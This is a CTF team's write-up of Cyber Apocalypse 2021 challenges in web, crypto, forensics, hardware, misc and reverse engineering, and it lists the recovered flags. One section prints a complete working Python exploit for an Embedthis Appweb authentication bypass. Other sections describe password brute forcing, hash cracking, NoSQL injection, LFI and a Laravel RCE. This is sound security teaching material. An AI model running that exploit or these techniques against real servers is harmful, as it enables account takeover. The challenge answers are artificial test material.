Original:
- https://github.com/thewhitecircle/ctf_writeups/tree/main/cyber_apocalypse_2021
- https://gist.github.com/telecastr/ddb80ad436fe3f2457677dfb1f973820
Web
Inspector gadget
Solved by: Bobby sox and ava
-
Visiting the webpage we see a part of a flag: CHTB{
-
If we keep looking around the pages, we find in /static/js/main another part of the flag:
- This in combination with the flag on the website is not the correct flag so far.
- static/css/main.css has another potential hint at the top with: c4n_r3ve4l_
- so, so far we have collected 3 pieces of a flag:
- in js.main we will also find the last piece of our flag:1nsp3ction_
- the full flag ended up being :
CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}
Cass
Solved by : thewhiteh4t
- Input sanitization is only in front end via javascript
- we can use burpsuite to bypass that

DAAS
Solved by: Nigamelastic
CVE-2021-3129 : https://nvd.nist.gov/vuln/detail/CVE-2021-3129
- For a laravel panel with error messages and stack trace.

- https://www.ambionics.io/blog/laravel-debug-rce
- As mentioned in the blog above i tried performing a post request but it gave me a 302 response
- but the above link mentions their github page and exploit which is
https://github.com/ambionics/phpggc
and
https://github.com/ambionics/laravel-exploits
the idea is to get the phar file with ur custom command from 1st repo and then put the phar file into the exploit with specified url to run the exploit
PS: for a linux command with spaces simply use "
- so for our case since we know the flag was found on the root directory and its name as
- our phpggc command should be
- run that in the exploit as:
MiniSTRyplace
Solved by: Bobbysox and thewhiteh4t
-
hint1: “Let's read this website in the language of Alines. Or maybe not?
This challenge will raise 33 euros for a good cause.”
-
hint2: The challenges name is “miniSTRyplace”. This is a play on words for str_replace.
-
We see right away that we can change language and it is represented:
ip.address/?lang=es.php
a perfect place to try LFI
-
In order to prevent path traversal, developers can implement blacklisting. It will usually look something like this:
- This is where you can see the name of the challenge was a hint to the sec measures used.
*now we can modify our final payload to bypass blacklisting:
- Our exploit is successful, to get the flag we just used the following :
Wild Goose Hunt
Solved by : thewhiteh4t
- We have a cool login page and source of the web app for this one
- entrypoint.sh contains the following :
- we can see that the flag is being stored as the password of admin
- we need to somehow extract the password
- since its mongoDB first assumption was to check for NoSQL injection
- Here is the error message we get in burp for a normal attempt

- Lets switch to repeater here

- so we are getting a json response and the message is being displayed in the frontend
- next i tried some basic payloads for NoSQL injection

- Authentication bypassed! but we dont get any functionality in the frontend so i proceeded with more payloads

- This is an interesting payload because we can use a wildcard to check if a particular character is present in the password or not!
- we know that the flag is the password and flag begins with
CHTB{
so I tried that next

- And it works again!
- Now we can bruteforce characters and check for success message to get correct characters
- I created a small python script for it

Crypto
Nintendo Base64
Solved by : thewhiteh4t
Cyberchef recipe :
PhaseStream 1
Solved by: Legend
- Each character will be XOR with each character of the key and the length of the key is 5 characters.
PHASESTREAM 2
AUTHOR: HYPERREALITY
The aliens have learned of a new concept called “security by obscurity”. Fortunately for us they think it is a great idea and not a description of a common mistake.
We’ve intercepted some alien comms and think they are XORing flags with a single-byte key and hiding the result inside 9999 lines of random data, Can you find the flag?
There are 10000 lines, only one of which contains the flag. We can quickly script the loop through the lines, and test each line if it starts with CHTB{ after xor with every single-byte key.
Note that we can apply the same technique as in PhaseStream1 to identify the correct key byte by xoring the first ciphertext byte with C, and that we thus don’t need to try all possible keys.
IMPLEMENTATION
FLAG
CHTB{n33dl3_1n_4_h4yst4ck}
PHASESTREAM 3
AUTHOR: HYPERREALITY
The aliens have learned the stupidity of their misunderstanding of Kerckhoffs’s principle.
Now they’re going to use a well-known stream cipher (AES in CTR mode) with a strong key. And they’ll happily give us poor humans the source because they’re so confident it’s secure!
CHALLENGE
FLAG
CHTB{r3u53d_k3Y_4TT4cK}
PHASESTREAM 4
AUTHOR: HYPERREALITY
The aliens saw us break PhaseStream 3 and have proposed a quick fix to protect their new cipher.
CHALLENGE
SOLUTION
The key to solving this challenge is the following observation: if Ca=a⊕k and Cb=b⊕k, then C=Ca⊕Cb=a⊕b and the key has entirely disappeared. This means that we can try to find a piece of known (or guessed) plaintext in either a or b, and test if we get reasonable plaintext in when we xor it against C. If we do, we might be able to extend the known/guessed plaintext for the other plaintext and repeat this process.
This is known as crib dragging and there even exist some useful tools online that might be able to help us solve this, such as this one.
After some trial and error, we can get a partial quote, google it and find the complete quote, which we then use to find the flag. We just need to be careful as the punctuation of the quote might not be the same everywhere, and might not exactly match the one used in the challenge. To fix problems like that, simply find the first place where the flag starts going wrong and experiment from there.
FLAG
CHTB{stream_ciphers_with_reused_keystreams_are_vulnerable_to_known_plaintext_attacks}
SoulCrabber 1
Solved by : ava and thewhiteh4t
Solution :
- since the seed remains fixed and we know the seed the randomized values in each run will be same so we just have to inverse XOR the cipher text to get the flag
- hex decode cipher text
- convert each char to 8 bit int
- xor against random 8 bit integers
- convert integer to char
XOR Function :
Get Numbers from hex string :
use those numbers into array and iterate it over :
Forensics
AlienPhish
Solved by : Starry-Lord
- Unzip and find 'Alien Weaknesses.pptx'
- Unzip again and go to ppt/slides/_rels/
- Read slide1.xml.rels to find a suspicious relation tag
- Go to cyberchef
- From url decode
- Reverse
- From base64 and select the urlSafe alphabet
Invitation
Solved By : Starry-Lord
- So we get a docm file.
- I start by unzippping the word document
- We get a docm
- Unzip it again and see folders

PART 1
- First thing I tried to do after looking around was
- Which gives back interesting hex lines.


- From base64 urlsafe alphabet will show the following

PART 2
- Upload full vbaProject file this time and do the same as before.

- Use base64 urlsafe alphabet
- We get second part of the flag by reversing
Oldest trick in the book
Solved by : thewhiteh4t
- We are given a pcap which consists of mostly TLS and ICMP traffic
- ICMP looks promising as we can see the header of ZIP file
PK

- Another thing was that the the traffic from both IP address was similar I focused on only one of them

- To extract data of all these packets I used tshark
- After this I looked for duplicate packets in the text file

- So we have 10127 unique icmp data packets
- To decode hex and compile all the data I created a small python script
- But I was not getting proper file format of resultant file so I inspected the data
- There were duplicates in the data as well!
- This is the data from first 4 packets for an example
- After first 6 characters we have 10 zeroes
- After that a unique string
- The string is repeated after that
- Then a partial repetition can be seen at the end
- I tried various combinations and in the end only the unique string was needed from each packet i.e
504b0304140000000000729e8d52659b
for first line as an example
- The script iterates over each line in the file and skips empty lines if it finds any
- Then it slices of extra characters as stated above
- Then it decodes the hex into binary data and appends it in a file

- And we get a proper zip file!
- Here are the extracted contents of the zip

- After some enumeration of all files they point towards Mozilla Firefox
- After some googling I found that this is a firefox profile dump
- In linux the default path for profiles is
/home/user/.mozilla/firefox
- I copied the folder into profiles folder and then edited the
profiles.ini
file present inside it to add the following entry
- After this I launched firefox from CLI using
- It provides an option to choose a specific profile and launch the browser with it

- After the browser launched with the new profile and checked the saved logins and here we have the flag!

Hardware
Solved by : Nigamelastic
Serial Logs:
- I imported the value i am pretty sure if i find the right analyzer it should work

- by far for this challenge async serial works the best
- challenge states raspberry pi which has a baud rate of 115200
- after some pondering i realized that there are some errors in parity on fixing them and using the
115200
in async serial we get the hex converting which gives us this:
https://www.dropbox.com/s/ztqoa16wvp6rvf6/message.txt?dl=0





- until you see the smallest unit of the digital wave then measure it: as its 13.498

- since it is in μ we will divide it by 1000000
- so 1000000/13.498 = 74085.049637
- I obviously used 74000 as bit rate, converted the hex to ascii with the tool itself and it gave me the flag:
Compromised
- import the file in salea logic analyzer, and use i2c analyzer
- export the data and you will see two columns if we take everything written and try the hex dump we get
- and we can see its slightly off i noticed the following :

- so i used only
0x2C
used the corresponding hex
which is
Discovery
-
Port 31227
-> Basic Auth, no luck with admin/admin, ...
& user admin
+ rockyou.txt
-
Port 32544
-> AMQP, requires auth, no luck with guest/guest
& user admin
+rockyou.txt
-
Ports change with restart of Docker-container + Services of other challanges are running on the same IP but different port …
-
The authentication form tells us, this is a AppWeb Embedded Server
- Found common vuln for app web: https://lab.wallalarm.com
- Found working exploit for user
admin
at https://vulners.com:
- Rewrite of exploit for python3:
import requests
import argparse
print ("""----------------------------------------------------------------
Embedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass
----------------------------------------------------------------
""")
def test_digest(r):
auth = ["realm", "domain", "qop", "nonce", "opaque", "algorithm", "stale", "MD5", "FALSE", "Digest"]
wwwauthenticate = r.headers.get('WWW-Authenticate')
if wwwauthenticate is None:
return False
for k in auth:
if k not in wwwauthenticate:
return False
return True
def test_form(r):
""" extremely shoddy recognition, expect false positives """
auth = [("X-XSS-Protection", "1; mode=block"), ("X-Content-Type-Options", "nosniff"), ("ETag", None), ("Date", None)]
potential_auth = [("Last Modified", ""), ("X-Frame-Options", "SAMEORIGIN"), ("Accept-Ranges", "bytes"), ("Content-Type", "text/html")]
if r.headers.get("WWW-Authenticate") is not None:
return False
for k, v in auth:
rv = r.headers.get(k)
if not rv:
return False
if v is not None and v != rv:
return False
potential_count = 0
for k, v in potential_auth:
rv = r.headers.get(k)
if rv and v != "" and v == rv:
potential_count += 1
print("[+] Optional matchings: {}/{}".format(potential_count, len(potential_auth)))
return True
def test(url):
""" Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration """
r = requests.get(url)
serv = r.headers.get("Server")
if serv and "GoAhead" in serv:
return False
if test_digest(r):
return "digest"
elif test_form(r):
return "form"
return None
def exploit(url, username="joshua", authtype="digest"):
payload = { "username": username }
headers = {
"authorization": "Digest username={}".format(username),
"user-agent": "TruelBot",
"content-type": "application/x-www-form-urlencoded",
}
if authtype == "digest":
r = requests.get(url, data=payload, headers=headers)
else:
r = requests.post(url, data=payload, headers=headers)
print(r.content)
if r.status_code != 200 or len(r.cookies) < 1:
print("[!] Exploit failed, HTTP status code {}".format(r.status_code))
return
print("[*] Succesfully exploited, here's your c00kie:\n {}".format(dict(r.cookies))
)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)")
parser.add_argument('-t', '--target', required=True, help="specify the target url (i.e., http(s)://target-url[:port]/)")
parser.add_argument('-u', '--user', required=True, help="you need to know a valid user name")
parser.add_argument('-c', '--check', action='store_true', default=False, help="test for exploitability without running the actual exploit")
parser.add_argument('-f', '--force', action='store_true', default=False, help="skip exploitability test")
args = parser.parse_args()
url = args.target
username = args.user
t = "form"
if args.check or not args.force:
t = test(url)
if t is None:
print("[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)")
else:
print("[+] Potential appweb/embedthis http, {} method".format(t))
if not args.check:
print("[!] Exploiting {}, user {}!".format(url, username))
exploit(url, username, t)
- Exploit generates working cookie
-http-session-
- After sending cookie with request, an admin panel is revealed:

- Gobuster result with cookie
- Password-Hashes (SHA256, no salt,
hashcat -m 1400
)
- Crackstation is able to find a valid AMQP passwd
winniethepooh
for user anthony_davis
, hash 89D9743B793B22AEB9A8142ABD59FDF4CDABFDD01796C31BE7587C114E0D37C1
- user
leo
hash 27BE4E31517E61D2BEF777B7293B7D8C73C14BD1B8F2839A7B8226CBEFF30E99
- AMQP login success with user
anthony_davis
- Subscribing to all Channels on exchange
Base
of user leo
reveals the flag
- Exploit:
Misc
Alien Camp
Solved By : thewhiteh4t
- The challenge server sends a randomized set of emoji and value pair
- We can get all pairs from option 1
- After getting all pairs we can start calculating values for each question
- If you get EOF Error just restart the script
- After 500 questions we get the flag
Solved by : ava
- We are given a py-jail
- https://programmer.help/blogs/python-sandbox-escape.html
- I used this website as reference,
os
and such imports are banned, so we used string manipulation
- we just reverse the string
os
to so
and import it and then do ls
command to * * see the flag.txt
and then just cat
the flag
- the code to do is given below
Robotic Infiltration
Solved by : thewhiteh4t
- We got a
capture.bag
file in this one
- The challenge mentions ROS which leads to a utility called
rosbag
- rosbag can be used to play this bag file
- Installation and tutorials are given in ros wiki : http://wiki.ros.org/Documentation
- The challenge mentions
rebuild plan for facility
- after some poking around we saw rosbag comes with another utility known as
rviz
- rviz can be used for 3d visualization of bag files
Step 1 : Start roscore

Step 2 : Play bag file
Step 3 : Launch rviz
- Now all we had to do was tweak things in rviz a little to improve visibility and eventually we spotted the flag

- After some play and pause action we got the full flag
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
RE
Authenticator
Solved by chronocruz.exe
- Disassembling the binary using IDA we get the first code block

- Here we can clearly see the “Alien ID: “ that is supposed to be the first input

- To find the pin, we proceed down the code flow

- We can see there’s a function named “checkpin” being called so we look at what its doing

- It may get slightly difficult to understand what this code really means..
- We can use decompilers like Ghidra to try to convert this into something we can understand better.

- Looking at the decompiled “checkpin” function, we can clearly see a XOR operation on a string.
- It’s safe to say that our pin must be the XOR of each character in this string with 9.
- With the help of this simple Python script we print the flag


Passphrase
Solved by chronocruz.exe
Disassembling the binary in IDA we reach the first code block where a certain portion of the code caught my eye

- So I wrote down the string given here
- Tried using this string in the program and voila!
